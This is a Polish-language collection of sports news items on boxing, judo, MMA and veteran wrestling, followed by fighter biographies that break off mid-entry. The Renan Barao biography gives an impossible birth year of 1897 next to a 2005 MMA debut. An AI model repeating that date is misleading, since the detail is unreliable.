Wiadomo, że federacja jedno, a pięściarze mogą mieć zupełnie inne plany. Niezaprzeczalna jest kwestia finansowa i podjęcie negocjacji, które mają doprowadzić do rozwiązania satysfakcjonującego obie strony. Warto zauważyć, że Cotto bądź Alvarez nie będą mogli stoczyć wolnej walki w obronie pasa. Niejako WBC zmusi wygranego do starcia z Gołowkinem. Co jeśli ten nie zgodzi się? Wtedy mistrzowski pas zostanie zwakowany. W związku z tym Gołowkin, który jest w posiadaniu tymczasowego tytułu zostanie pełnoprawnym mistrzem.

Czy taki scenariusz jest możliwy? Głos w tej sprawie zabrał Alvarez. Z jego słów wynika, że po pojedynku z Cotto nie będzie gotowy na starcie z Gołowkinem. Pojedynek z Cotto Meksykanin stoczy w limicie 155 funtów, czyli nieco ponad 70kg. Kategoria średnia obowiązuje do 160 funtów, czyli „Canelo” musiałby zwiększyć swoją masę. Meksykanin podkreśla, że nie jest na to gotowy.

Tytułu dla Gołowkina nie ma, co jeszcze przesądzać. Alvarez już zabrał głos, a jeszcze nie stoczył walki z Cotto.  Może problem, czy walczyć z Kazachem będzie miał Portorykańczyk. Jedno jest pewne: zwycięzca listopadowego starcia powinien stoczyć bój z pretendentem Gołowkinem.

KM

Kontuzje trapią nasze judoczki

Podczas Grand Slam w Paryżu naszym judokom nie udało się odnieść sukcesu. W stolicy Francji kontuzji doznała Daria Pogorzelec, startować miała również Agata Ozdoba. Brązowej medalistki mistrzostw Europy z Montpellier zabrało. Dlaczego? Wszystko przez kontuzję, której doznała w Korei.

Dwie srebrne medalistki mistrzostw świata w Astanie w drużynie muszą zatem odpocząć od judo i wyleczyć swoje urazy. Warto pamiętać, że cały czas pauzuje Agata Perenc.

Długa przerwa Ozdoby

Dla wielu sportowców kontuzja kolana oznacza długą przerwę. Nie ma się, co dziwić, gdyż staw kolanowy to drugi najbardziej obciążany staw człowieka. Dodatkowo jest złożony. W stawie kolanowym łączą się kości: udowa i piszczelowa.

Agata Ozdoba (63kg) miała jechać na zawody Grand Slam w Paryżu, jednak pechowo zakończył się dla niej start w Światowych Sportowych Igrzyskach Sportowych. W Korei Południowej nasza zawodniczka nabawiła się kontuzji. Podczas walki z Marianą Silvą została kopnięta w prawe kolano. Poczuła ogromny ból. Diagnoza okazała się bezlitosna dla brązowej medalistki ubiegłorocznych mistrzostw Europy. Ozdoba ma zerwane więzadła krzyżowe, czeka ją operacja i długa przerwa. Nie wiadomo, czy nasza judoczka w związku z długotrwałą absencją pojedzie na przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro.

Po operacji przyjdzie czas na odpoczynek i rehabilitację, która pomoże wrócić Ozdobie do pełnej dyspozycji. Wszystko wskazuje na to, że zawodniczka AZS AWF Katowice będzie pauzowała przez pół roku. W najlepszym wypadku wróci w kwietniu i będzie mogła wystartować w mistrzostwach Europy w Kazaniu. Niewykluczone, że powrót Ozdoby wydłuży się w czasie. Prawdopodobnie na tatami będzie mogła pojawić się w maju. 5 sierpnia wystartują Igrzyska Olimpijskie. Polka będzie miała mało czasu, aby wywalczyć kwalifikację do Rio.

Do Paryża pojechała za to Daria Pogorzelec (78kg). Piąta zawodniczka Igrzysk Europejskich w Baku w stolicy Francji stoczyła jeden pojedynek, a do kolejnej walki już nie przystąpiła. Judoczka Wybrzeża Gdańsk nabawiła się kontuzji kolana.

Perenc również pauzuje

Agata Perenc (52kg) z powodu złamania kości strzałkowej nie mogła wziąć udziału w mistrzostwach świata w Astanie. Zawodniczka Polonii Rybnik w tym roku prezentowała równą formę i zdobywała cenne punkty w kwalifikacjach olimpijskich. W Pucharze Europy w Oberwart zdobyła brązowy medal. Pech chciał, że przed najważniejszą imprezą sezonu doznała urazu. Perenc nadal nie wróciła na tatami. Jej przerwa trwa już dwa miesiące.

Przed mistrzostwami świata trener kadry Aneta Szczepańska miała ból głowy. Z powodu urazu do Astany nie pojechała również Ewa Konieczny (48kg). W październiku scenariusz się powtarza. Tym razem kontuzje eliminują z kolejnych startów dwa mocne ogniwa polskiej kadry. W przypadku Pogorzelec nie wiadomo, ile potrwa jej absencja.

KM

Polak zwolniony z UFC

Przygoda Pawła Pawlaka z UFC dobiegła końca. Amerykańska organizacja pożegnała się z kilkunastoma zawodnikami.

W tym gronie znalazł się Pawlak, który w UFC stoczył trzy walki. Do najlepszej organizacji mieszanych sztuk walki na świecie zawodnik Gracie Barra Łódź trafił jako niepokonany.

Porażka w debiucie

UFC to inny świat. Zupełnie inne wymagania, wyższy poziom i emocje. Aby rywalizować w UFC trzeba prezentować wysoki poziom umiejętności oraz posiadać odpowiednie cechy charakteru, a przede wszystkim cechować się odpornością psychiczną. Paweł Pawlak, który w rywalizuje wadze półśredniej spróbował swoich sił w UFC. Dostał szansę i chciał ją wykorzystać, stoczył trzy walki i postanowiono mu podziękować.

Kontrakt Pawlaka dobiegł końca. Zazwyczaj UFC zwalnia zawodników po dwóch porażkach z rzędu, co Polaka nie dotyczy. Pawlak debiutował w amerykańskiej organizacji podczas gali w Berlinie w maju 2014 roku. Polski fighter zmierzył się z Peterem Sobottą. Pojedynek trwał trzy rundy i zakończył się triumfem Niemca. Kolejną walkę Pawlak w UFC stoczył po upływie jedenastu miesięcy. Miał świadomość, że walczy o swój byt w organizacji. 26-latek otrzymał możliwość zaprezentowania się na rodzimej ziemi, gdyż był jednym z uczestników gali w Krakowie. Pawlak po trzech rundach mógł wznieść ręce w geście triumfu po pojedynku z Sheldonem Westcottem.

Trzecią, i jak się okazało ostatnią, walkę Polak stoczył w lipcu podczas UFC Fight Night 72. Leon Edwards zaprezentował się lepiej w oktagonie i przekonał sędziów, że to jemu należy się zwycięstwo.

To kolejne czystka w UFC. Najlepsza organizacja mieszanych sztuk walki na świecie regularnie zwalnia zawodników. Uwarunkowane jest to tym, że część z nich przebywa w organizacji w zastępstwie kontuzjowanych gwiazd. De facto jeden słabszy występ może być powodem do zakończenia przygody z UFC.

Wraz z Pawlakiem z organizacji zostali zwolnieni: Ivan Jorge, Francisco Trevino, Hernani Perpetuo, Vagner Rocha, David Michaud, Naoyuki Kotani, Amir Sadollah, Roger Narvaez, Chris Clements, Luke Zachrich, TJ Waldburger, William Macario, Eddie Gordon, Matt Van Buren, Leonardo Mafra, Christos Giagos, Ron Stallings, Roger Zapata, Joe Merritt, Lewis Gonzalez. 

Zmiana na KSW

Do zmiany doszło w rozpisce gali KSW 33, która odbędzie się 28 listopada w Krakowie. Główną atrakcją będzie pojedynek Michała Materli z Mamedem Khalidovem. 

W Krakowie nie wystąpi Jakub Kowalewicz, który w swoich ostatnich występach nie zachwycił. Fighter poniósł porażkę podczas gali ACB 19 z Olegiem Bagovem. Warto nadmienić, że do tej pory wystąpił na czterech wydarzeniach KSW i zanotował trzy zwycięstwa.

Za Kowalewicza pojawi się Grzegorz Szulakowski, który podczas majowej gali efektownie uporał się z Patrykiem Grudniewskim. Tym razem stanie do rywalizacji z Łukaszem Chlewickim.

KM

Bezowocny start we Francji

Tym razem żadnemu z naszych judoków nie udało się stanąć na podium w zawodach Grand Slam. Podczas turnieju w Paryżu kontuzji nabawiła się startująca w kategorii 78kg Daria Pogorzelec.

W stolicy Francji zaprezentowało się troje reprezentantów Polski, jednak próżno doszukiwać się wybitnych osiągnięć. Biało-czerwoni szybko pożegnali się z zawodami.

Kontuzja Pogorzelec

Niepokoją wieści dotyczące Darii Pogorzelec. Judoczka Wybrzeża Gdańsk podczas startu w Paryżu nabawiła się kontuzji kolana. Na obecną chwilę trudno określić jak poważny jest to uraz. Wszystko będzie jasne po wykonaniu szczegółowych badań.

Srebrna medalistka mistrzostw świata w Astanie w drużynie start w Paryżu rozpoczęła od starcia z Yahimą Ramirez. Polka od początku był aktywna i starała się podciąć swoją przeciwniczkę, aby zdobyć punkty, jednak ta skutecznie broniła się. Reprezentantka Portugalii również szukała szans, ale nie zawsze zagrywała czysto. Pogorzelec była twarda i zdecydowana, ale Ramirez nie zamierzała odpuszczać. Triumfowała Polka, gdyż jej rywalka zarobiła trzy żółte kartki. Okazało się, że Pogorzelec w tym pojedynku nabawiła się kontuzji kolana.

Dalsza rywalizacja była wykluczona. W kolejnej walce na Polkę czekała wicemistrzyni olimpijska z Londynu Gemma Gibbons, jednak Pogorzelec musiała oddać pojedynek walkowerem. Zawodniczka z Wysp Brytyjskich w Paryżu zajęła 5. pozycję. Triumfowała Audrey Tcheumeo z Francji, która w finale uporała się z Ruiką Sato.

Francuzka zbyt silna

Tylko jedną walkę w Paryżu stoczyła Katarzyna Kłys w kategorii 70kg. Polka trafiła na reprezentantkę gospodarzy Margaux Pinot. Francuzka od samego początku była aktywna i szukała swojej szansy. Pinot próbowała różnych sposobów, aby rzucić Polkę i zdobyć punkty. W końcu jej starania przyniosły efekt. Pinot wygrała przez waza-ari. Ostatecznie Francuzka sięgnęła po brązowy medal, a w kategorii 70kg triumfowała Haruka Tachimoto.

Łukasz Błach stoczył podczas zawodów w Paryżu trzy pojedynki, ale opadł przed główną rozgrywką. Polak udział w Grand Slam w stolicy Francji rozpoczął efektownie. W pierwszej walce Polak rywalizujący w kategorii 81kg trafił na Jeana-Pierre'a Adingrę. Błach szybko rozstrzygnął pojedynek na swoją korzyść i wygrał przez ippon. Kolejnym rywalem polskiego judoki był Konstantins Ovchinnikovs. Rozgoryczenie Łotysza sięgało zenitu, gdyż Błach twardo trzymał się na nogach. Początkowo Ovchinnikovs liczył, że uda mu się zaskoczyć rywala, ale Polak szybko sprowadził go na ziemię. Błach wygrał przez ippon. Imponujący początek reprezentanta Polski, ale trzecia walka okazała się ostatnią naszego judoki w Paryżu. Sposób na Błacha znalazł Alain Schmitt, który zwyciężył przez waza-ari. Najlepszy w kategorii 81kg okazał się Shaxzod Sobirov z Uzbekistanu.

Najwięcej złotych medali zdobyli Japończycy – cztery. O jeden mniej wywalczyli Francuzi.

KM

Niezwyciężony Gołowkin

Kolejny pięściarz nie znalazł sposobu na Giennadija Gołowkina. David Lemieux musiał uznać wyższość boksera z Kazachstanu.

Gołowkin ponownie dał pokaz swojego kunsztu. Dodatkowo do swojej kolekcji dołożył kolejny pas. Kazach pokonując Lemieuxa wywalczył pas mistrza świata IBF w wadze średniej.

Bezradny Lemieux

Pojedynek zapowiadany był jako starcie dwóch fenomenalnych pięściarzy. Rzeczywistość pokazała, że bokserski kunszt na najwyższym poziomie prezentuje tylko jeden z nich. Giennadij Gołowkin całkowicie zdominował Davida Lemieuxa na ringu w Nowym Jorku.

Kazach nie miał litości dla swojego rywala. Mocna głowa Kanadyjczyka tym razem nie wytrzymała siły i ilości ciosów. Od samego początku Gołowkin słał kolejne prawe w kierunku swojego przeciwnika. Mistrz świata WBA konsekwentnie rozbijał defensywę Kanadyjczyka, który był bezradny. Raz lewy, raz prawy i było wiadomo, kto w tej walce rozdaje karty. Lemieux starał się odpowiedzieć, jednak Gołowkin był jak skała. Ciosy Kanadyjczyka nie robiły na nim wrażenia mimo, że były dynamiczne i mocne.

W piątej rundzie Lemieux po jednym z ciosów Gołowkina przyklęknął. Sędzia ruszył do akcji i zaczął liczyć Kanadyjczyka. Ta sytuacja wzbudziła kontrowersje. Gołowkin uderzył klęczącego rywala w głowę, co nie powinno mieć miejsca. Sędzia nie zareagował. Kazach kontynuował swoje ataki i obijał rywala. W siódmej rundzie Lemieux doznał kontuzji nosa. Twarz Kanadyjczyka zalała się krwią, jednak sędzia nie zdecydował się na przerwanie pojedynku. Wydawało się, że kwestią czasu jest, kiedy Gołowkin rozstrzygnie pojedynek. Lemieux wytrzymał jeszcze kilka minut. Ósma runda okazała się ostatnią. Gołowkin zamknął swojego rywala pod linami i niemiłosiernie go obijał. Lemieux był bezradny. Kanadyjczyk szukał ratunku i otrzymał go od sędziego, który przerwał pojedynek. Czy słusznie? Nie ma wątpliwości, że tak. Lemieux przyjął ogromną ilość ciosów, a wraz z upływającym czasem przewaga Gołowkina rosła.

Kolejny tytuł

Lemieux stracił pas i zanotował trzecią porażkę w karierze. Gołowkin opływa w tytuły. Pięściarz z Kazachstanu jest w posiadaniu pasów IBF, IBO, WBA i WBC interim w kategorii średniej. Gołowkin po raz kolejny pokazał, że jest pięściarzem nietuzinkowym. Potwierdził, że w pełni zasługuje na miano najlepszego boksera bez podziału na kategorie wagowe.

Kazach odniósł trzydzieste czwarte zwycięstwo w karierze i po raz trzydziesty pierwszy wygrał przed czasem. Do tej pory na zawodowym ringu nie przegrał. W walce z Lemieux dominował od początku do samego końca. Kazach wyprowadził blisko trzysta ciosów, które doszły do celu. Kanadyjczyk „tylko” osiemdziesiąt dziewięć razy trafił swojego rywala. Gołowkin widzom zgromadzonym w Nowym Jorku dał pokaz boksu najwyższego lotu, a zarazem zaaplikował ogromne wrażenia. Lemieux jest niezadowolony z rozstrzygnięcia pojedynku i trudno mu się dziwić, ale sędzia podjął słuszną decyzję.

Fot. en. tengrinews.kz

KM

Kelmendi triumfuje w Paryżu

Jedna z najlepszych judoczek na świecie po raz kolejny potwierdziła swój kunszt. Majlinda Kelmendi triumfowała podczas turnieju Grand Slam w Paryżu.

Rok 2015 jest pechowy dla reprezentantki Kosowa. 24-letnia zawodniczka przygotowuje się do Igrzysk Olimpijskich w Rio de Janeiro, gdzie chce odnieść sukces. W tym roku ominęły ją dwie ważne imprezy.

Zmorą są kontuzje

Priorytetem dla Kelmendi, która startuje w kategorii 52kg są przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro. Na każdym kroku podkreśla to jej trener Driton Kuka. W tym roku reprezentantka Kosowa występuje rzadko. Dlaczego? Z jednej strony chodzi o jak najlepsze przygotowanie do startu w Brazylii, ale to wytłumaczenie powierzchowne. Kelmendi musi zadbać o swoje zdrowie i wrócić do odpowiedniej formy. W tym roku 24-latkę prześladują urazy.

Kelmendi nie wystartowała na dwóch najważniejszych tegorocznych imprezach. Zabrakło jej podczas Igrzysk Europejskich w Baku oraz na mistrzostwach świata w Astanie. Reprezentantka Kosowa liczyła, że w Kazachstanie będzie broniła tytułu mistrzyni świata, który wywalczyła w 2014 roku w Czelabińsku. Kontuzja pleców uniemożliwiła jej start. Zawodniczka z Kosowa musiała odzyskać wigor, dojść do formy i zrobić wszystko, aby uraz został w pełni wyleczony. Zbyt wczesny powrót na tatami mógł nieść ze sobą poważne konsekwencje. Wcześniej Kelmendi walczyła z kontuzją kolana. Jak widać jedna z najlepszych judoczek na świecie w tym roku ma pecha. Wyjazdu do Rio może być pewna, bo cały czas jest w „czubie” rankingu, jednak istotna jest kwestia przygotowań i powrotu do formy. W Paryżu Kelmendi pokazała, że wszystko jest pod kontrolą.

Paryskie zwycięstwo

Dwukrotna mistrzyni świata w Paryżu stoczyła cztery walki. Na początek reprezentantka Kosowa uporała się z Hiszpanką Laurą Gomez. W ćwierćfinale trafiła na brązową medalistkę Igrzysk Olimpijskich w Londynie – Priscillę Gneto. Walka wyrównana, ale więcej kar na swoim koncie zapisała Francuzka. W drodze do finału Kelmendi znalazła receptę na Yuki Hashimoto. O złoto 24-latka rywalizowała z Evelyne Tschopp, która w półfinale uporała się z zawodniczką z Kosowa – Distrią Krasniqi. Kelmendi pomściła swoją rodaczkę i wygrała przez ippon. Zwycięstwo dla 24-latki jest o tyle cenne, że pokazuje miejsce, w którym obecnie znajduje się judoczka. Kelmendi musi wrócić do regularnych startów. Jej umiejętności są na najwyższym poziomie i w Rio de Janeiro na pewno będzie faworytką do złotego medalu.

Kolejny turniejowy triumf w tym sezonie odniósł Tumurkhuleg Davaadorj. Startujący w kategorii 66kg judoka w tym roku zwyciężał już podczas Grand Prix Ułan Bator i Tbillisi. W 2013 roku w Grand Slam w Paryżu Davaadorj był drugi. Tym razem udało mu się poprawić ten wynik. W finale pokonał Georgija Zantaraia.

KM

Rekordowa walka Fonfary

Polski bokser zrobił kolejny krok w kierunku walki o pas mistrza świata w wadze półciężkiej. W Chicago Andrzej Fonfara uporał się z Nathanem Cleverly’m.

Już od początku wiadomo było, że starcie Polaka i Walijczyka będzie wielkim pojedynkiem. Fonfara zmierzał do ringu ubrany w zbroję polskiej husarii. Były mistrz świata miał świadomość, że czeka go trudne wyzwanie.

Pot i krew

Pięściarze nie kalkulowali, lecz postawili na widowisko. Fonfara i Cleverly nie oszczędzali się i wyprowadzili dużą liczbę ciosów. Na początku starcia aktywniejszy był Walijczyk, którego lewy prosty ranił „Polskiego Księcia”. Druga runda również należała do Cleverly’ego, jednak w kolejnej odsłonie aktywniejszy był już Fonfara. Spychał swojego rywala do defensywy i starał się go zdominować. Walijczyk próbował powstrzymać rywala lewym prostym.

Pojedynek mógł podobać się widzom zgromadzonym w Chicago. Pięściarze nie szczędzili sobie ciosów, jednak w pierwszej części walki aktywniejszy był Cleverly. Walijczyk był bardziej ruchliwy i zaskakiwał Fonfarę. Pojedynek toczył się w szybkim tempie. Siódma runda należała już do Polaka. „Polski Książe” ruszył zdecydowanie na swojego przeciwnika i słał w jego stronę kolejne serie ciosów. Na twarzy byłego mistrza świata pojawiła się krew, a on sam stał się jakby wolniejszy i nabrał dystansu. Cleverly obawiał się kolejnych ciosów Fonfary. Zaznaczyła się przewaga polskiego boksera, jednak pojedynek zwolnił. Fonfara zadawał kolejne ciosy, ale zdarzały mu się przestoje. Stopniowo odrabiał starty, które poniósł na początku, jednak pozwolił Walijczykowi na przebudzenie. W dziewiątej rundzie Cleverly ponownie zaprezentował swoje umiejętności.

Ostatnia odsłona to już popis dominacji Polaka. Werdykt pozostawał niewiadomą, jednak Fonfara zaprezentował dobry boks. Docenili to sędziowie, którzy jednogłośnie wskazali na zwycięstwo „Polskiego Księcia” – 115:113, 116:112, 116:112.

Zarazem obaj pięściarze ustanowili rekord w liczbie zadanych ciosów w wadze półciężkiej. Fonfara i Cleverly wyprowadzili 2524 ataki, z czego 1413 to wynik polskiego boksera.

Kiedy mistrzowska walka?

To podstawowe pytanie po pokonaniu jednego z czołowych pięściarzy wagi półciężkiej. W tym roku Fonfara również uporał się z Julio Cesarem Chavezem Jr. Od czasu porażki z Adonisem Stevensonem Polak stoczył trzy pojedynki.

Fonfara zrobił wszystko, aby zaprezentować się jak najlepiej i wykonać kolejny krok w kierunku walki o mistrzostwo świata. Stevenson to posiadacz pasa WBC i niezwykle silny pięściarz. „Polski Książę” prezentuje się w ringu dobrze i wykazuje się inteligencją. Potrafi dokładnie przeanalizować rywala, daje mu chwilę na rozkręcenie się, a później sam uderza. Czy taka taktyka dałaby efekt w starciu ze Stevensonem? Jedno jest pewne: Fonfara nie boi się trudnych wyzwań i nie unika walki.

Wygrana z Cleverly’m to dwudzieste ósme zwycięstwo w karierze Polaka.

KM

Weterani na medal

W Atenach trwają mistrzostwa świata weteranów w zapasach. Na koncie Polaków są trzy medale, w tym złoty Andrzeja Wrońskiego.

50-latek urodzony w Kartuzach to legenda polskich zapasów. W Atenach Wroński pokazał, że o zdrowie można dbać w każdym wieku, a od pasji nie ma ucieczki. Teraz nasz zapaśnik będzie się ubiegał o mandat poselski w zbliżających się wyborach parlamentarnych.

Pasja to jest to

Dla wielu mistrzostwa świata weteranów kojarzą się ze swego rodzaju farsą i profanacją zapasów. W powszechnym odbiorze sport to rywalizacja dla młodych, pięknych, uśmiechniętych i zorientowanych na sukces. Nie zawsze tak musi być. Zapasy są drogą życiową, tak jak i inne sporty walki. Związanie się z nimi to przyjęcie pewnego systemu zasad i wartości. Związanie się na dobre i na złe. Niezależnie od wieku można rywalizować na sportowej arenie. Ma to szereg zalet w postaci głębszej integracji, cementowania środowiska oraz wypracowywania pewnej ciągłości w działaniu. Wiadomo, że mistrzostwa weteranów nigdy nie będą efektowne i nie porwą tłumów, jednak wbrew pozorom o medale nie rywalizują dziadki, ale są to walki silnych i wysportowanych facetów oraz aktywnych kobiet.

W tym wszystkim jest idea i duch sportu. Zapasy świetnie oddają charakter rywalizacji, ale i poczucia więzi. To niezwykle istotne. Rywalizacja na mistrzostwach jest zacięta i obfituje w ciekawe, pełne pasji walki.

W Atenach Polacy mają na swoim koncie już trzy medale. Po złoto w kategorii 130kg w stylu klasycznym sięgnął Andrzej Wroński. 50-latek to legenda polskich zapasów. Dwukrotny złoty medalista olimpijski – Seul 1988 i Atlanta 1996 oraz mistrz świata z Tampere z 1994 roku , a także trzykrotny mistrz Europy. Jednak Wrońskiemu nadal mało. Polak wystartował w Atenach i okazał się najlepszy. Wroński stoczył zaledwie trzy walki, gdyż do rywalizacji najcięższych stanęło zaledwie siedmiu zapaśników. W decydującym pojedynku Polak uporał się z zawodnikiem gospodarzy Haralamposem Kaltsidisem.

Srebro też się błyszczy

Do dorobku naszej reprezentacji medale dorzucili również Mariusz Wiśniewski w kategorii 85kg w stylu klasycznym oraz Paweł Woliński w 97kg w stylu wolnym.

W kategorii 85kg w stylu klasycznym wystartowało dwóch Polaków. Janusz Lisiewski opadł już w 1/8 finału, a jego pogromcą był Kevin Pine. Za to dalej walczył Mariusz Wiśniewski. Polak stoczył trzy zwycięskie walki. W półfinale rywalizował z Rosjaninem Aleksandrem Siergiejewem i po wyrównanym starciu osiągnął sukces. Martin Dalsbotten w finale miał więcej szczęścia, dlatego też złoto zawisło na szyi Norwega.

Wśród trzynastu startujących w 97kg w stylu wolnym znalazło się dwóch Polaków. Spotkali się już w kwalifikacjach. Paweł Woliński pewnie pokonał Ireneusza Pepłowskiego. Następnie mistrz Polski weteranów z 2014 roku stoczył jeszcze trzy pojedynki. W finale musiał uznać wyższość Amerykanina Granta Johnsona. Srebro zatem dla Polaka.

KM

Andrei Arłouski

Białoruski zawodnik MMA urodzony 4 lutego 1979 roku w Mińsku. Wychowywał się w Bobrujsku. W wieku 16 lat wstąpił do 4-letniej szkoły policyjnej w Mińsku, gdzie rozpoczął treningi Sambo. W 1999 roku wygrał mistrzostwa Europy juniorów oraz mistrzostwa Świata juniorów w Sambo.  Później zdobył również srebrne medale w Pucharze Świata i mistrzostwach Świata seniorów. Aby rozwinąć umiejętności w stójce, w wieku 18 lat rozpoczął treningi Kick-boxingu pod okiem Dmitrija Stiepanowa. Rok później w Petersburgu stoczył swoją pierwszą profesjonalną walkę w formule MMA. Przegrał ją z innym debiutantem Wiaczesławem Dacykiem.  Na ring powrócił w kwietniu 2000 roku, gdy wygrał dwie walki, w tym przez nokaut z Romanem Ziencowem, zdobywając tytuł Mistrza Europy wagi ciężkiej Rosyjskiej federacji M-1. W listopadzie 2000 roku zadebiutował w amerykańskiej organizacji UFC. Wygrał pierwszą walkę ale w dwóch kolejnych przegrał przez nokaut z Ricco Rodriguezem z Pedro Rizzo.  Seria trzech zwycięstw przez nokaut w następnych pojedynkach sprawiła że otrzymał szansę walki o tymczasowe mistrzostwo UFC wagi ciężkiej. Odbyła się ona 5 lutego 2005 roku podczas gali UFC 51, a jego rywalem był Tim Sylvia. Arłouski pokonał Amerykanina przez poddanie w pierwszej rundzie. 12 maja 2005 roku władze UFC odebrały pas Mirowi z powodu przedłużającej się niemożliwości jego bronienia i przekazały go Białorusinowi. Ten w swojej pierwszej obronie znokautował w 15 sekund Paula Buentello. 15 kwietnia 2006 roku po raz drugi bronił tytułu i tym razem go stracił na rzecz Sylvii. Do trzeciej walki pomiędzy tymi zawodnikami doszło już trzy miesiące później podczas UFC 61. Po raz drugi lepszy okazał się Sylvia, który wygrał przez decyzję sędziów.  Po trzeciej walce z Sylvią, Białorusin stoczył w UFC jeszcze trzy wygrane pojedynki, po czym odszedł z organizacji. W 2008 roku podpisał kontrakt z Affliction, w barwach której 24 stycznia 2009 roku zmierzył się z uznawanym ówcześnie za najlepszego zawodnika MMA wagi ciężkiej na świecie Rosjaninem Fiodorem Jemieljanienko.  Stawką walki było mistrzostwa Świata federacji WAMMA. Arłouski został znokautowany  w pierwszej rundzie. Wkrótce potem organizacja Affliction zaprzestała działalności, a Arłouski przeszedł do Strikforce. Dla tego organizacji stoczył trzy walki, wszystkie przegrane. Serie czterech porażek przerwał  27 sierpnia 2011 roku, gdy na gali Pro Elite pokonał przez TKO w trzeciej rundzie Raya Lopeza. 5 listopada, w swoim drugim pojedynku w organizacji Pro Elite znokautował Travisa Fultona.  31 sierpnia 2012 roku doszło do czwartego starcia z Timem Sylvią na gali ONE FC 5- Pride a Nation. Pod koniec drugiej rundu Arłouski znokdaunował rywala po czym zadał nieprzepisowe kopnięcie w głowę leżącego przeciwnika. Sylvia odmówił kontynuowania pojedynku. Sędziowie po dłuższej analizie zdecydowali się ogłosić wynik walki jako no contest.  W 2012 roku związał się z nowo powstałą organizacją Raya Sefo World Series of Fighting. 3 listopada znokautował byłego zawodnika IFL oraz Strikeforce Devina Cole’a. W World Series of Fighting stoczył jeszcze dwa pojedynki. W 2014 roku został zwolniony z kontraktu WSoF i ponownie związał się z UFC. 14 czerwca tego samego roku po prawie 6 latach powrócił do klatki UFC mierząc się z finalistą TuF’a Brendanem Shaubem. Białorusin pokonał Amerykanina niejednogłośnie na punkty.  W tym samym roku pokonał jeszcze Antonio Silvę przez nokaut. W 2015 roku stoczył dwie wygrane walki pokonując przez TKO Travisa Browne’a i przez decyzję sędziowską Franka Mira. 2 stycznia 2016 roku na gali UFC 195 przegrał przez techniczny nokaut z Stipe Miocicem. 8 maja 2016 roku przegrał przez techniczny nokaut z Alistairem Overeemem. 

Renan Barao

Brazylijski zawodnik MMA urodzony 27 lutego 1897 roku w Natal. W MMA zadebiutował w 2005 roku. Początkowo występował w małych organizacjach na terytorium Brazylii. Po licznych sukcesach w Ameryce Południowej, związał się z Amerykańską organizacją World Extreme Cagefighting, gdzie zadebiutował 20 czerwca 2010 roku w walce z Anthony Leone. Barao wygrał przez poddanie w trzeciej rundzie. Następną walkę stoczył 16 grudnia 2010 z Chrisem Carasio, którego pokonał przez poddanie, tym razem już w pierwszej rundzie.  W październiku 2010 roku WEC zostało połączone z UFC. Barao zadebiutował w UFC 28 maja 2011 na UFC 130 gdzie wygrał z Cole’m Escovedo przez jednogłośną decyzję. Następnie 5 listopada 2011 roku na UFC 138, pokonał Brada Picketta przez poddanie w pierwszej rundzie. Jego kolejnym przeciwnikiem był Scott Jorgensen, którego Renan pokonał przez jednogłośną decyzję. W tym czasie mistrz UFC w wadze koguciej Dominick Cruz doznał kontuzji, w związku z czym zapadła decyzja o wyborze tymczasowego mistrza tej kategorii. 21 lipca 2012 na UFC 149 Barao pokonał Urijaha Fabera przez jednogłośną decyzję i został tymczasowym mistrzem UFC wagi koguciej. Następnie obronił ten tytuł 16 lutego 2013 na gali UFC on Fuel w starciu z Michaelem McDonald’em, którego pokonał przez poddanie w czwartej rundzie. Kolejną obronę stoczył 21 września 2013 na UFC 165 gdzie pokonał Eddiego Wineland’a, nokautując go w drugiej rundzie. 1 lutego 2014 roku miało dojść do walki Renana Barao z Dominickiem Cruzem o zostanie niekwestionowanym mistrzem wagi koguciej UFC.  Do tej walki jednak nie doszło, ponieważ Cruz ponownie doznał kontuzji i UFC zdecydowało o odebraniu mu pasa oraz oddaniu go w ręce Barao. Zamiast z Cruzem, 1 lutego 2014 na UFC 169 zmierzył się ponownie z Urijah’em Faberem, którego pokonał przez techniczny nokaut w pierwszej rundzie. 24 maja 2014 doszło do starcia Barao z T.J. Dillashaw, które Brazylijczyk przegrał przez TKO w piątej rundzie.  Po tej porażce Barao wrócił na ring 20 grudnia 2014 roku w starciu z Mitch Gagnon, którego pokonał przez poddanie w trzeciej rundzie. 25 lipca 2015 roku doszło do rewanżowego pojedynku z T.J. Dillashaw, które i tym razem Barao przegrał przez TKO.

Antonio Silva

Brazylijski zawodnik MMA urodzony 14 września 1979 roku w Campina Grande. Zawodową karierę MMA rozpoczął w 2005 roku w Wielkiej Brytanii. W tym samym roku zdobył mistrzostwa organizacji Cage Rage w wadze ciężkiej i mniej znaczącej Cage Warriors w wadze superciężkiej. W 2006 roku stoczył dwa wygrane pojedynki w Japonii,  w organizacji HERO’S. W swojej ósmej walce doznał pierwszej porażki w karierze, gdy przegrał w grudniu 2006 roku w Vancouver przez techniczny nokaut z Amerykaninem Erikiem Pele. W 2007 roku podpisał kontrakt z nowo powstałą amerykańską organizacją Elite XC. Po wygraniu trzech walk z rzędu dostał szansę walki o pierwsze mistrzostwo EliteXC w wadze ciężkiej przeciwko Justinowi Eilersowi. 26 lipca 2008 roku pokonał Amerykanina przez techniczny nokaut zdobywając tytuł. Przeprowadzone po walce testy antydopingowe wykryły w organizmie Silvy steryd anaboliczny boldenon. W konsekwencji California State Athletic Commission ukarała go grzywną oraz rocznym zawieszeniem. Mimo nieprzyznania się do winy i złożenia apelacji kara została podtrzymana. Nie mogąc walczyć w USA, Silva podpisał kontrakt z japońską organizacją World Victory Road i stoczył w 2009 roku dwie zwycięskie walki w Japonii. W listopadzie 2009 roku zadebiutował w Strikeforce, gdy przegrał przez jednogłośną decyzję z rodakiem Fabricio Werdumem. W 2010 roku stoczył dwie walki, obie wygrane przeciwko Andrejowi Arłouskiemu i Mike’owi Kyle’owi.  W styczniu 2011 ogłoszono, że Silva wystąpi w 8-osobowym turnieju Strikeforce w wadze ciężkiej. W rozegranym 12 lutego ćwierćfinale zmierzył się z byłym mistrzem PRIDE FC Fiodorem Jemieljanienko. Pokonał go przez techniczny nokaut gdy w przerwie między drugą a trzecią rundą lekarz orzekł o nie zdolności Rosjanina do kontynuowania walki z powodu opuchlizny oka.  W rozegranym 10 września półfinale Silva starł się z Danielem Cormierem. Amerykanin wyeliminował Brazylijczyka z turnieju, nokautując go w pierwszej rundzie. W styczniu 2012 roku Silva podpisał kontrakt z UFC. W swoim debiucie przegrał z byłym mistrzem UFC Cainem Velasquezem przez TKO w pierwszej rundzie. 5 października wygrał swoją pierwszą walkę w UFC pokonując Travisa Browna. 2 lutego 2013 pokonał przez nokaut w trzeciej rundzie Alistaira Overeema. 25 maja 2013 roku ponownie przegrał z Cainem Velasquezem, również przez TKO.  7 grudnia 2013 roku 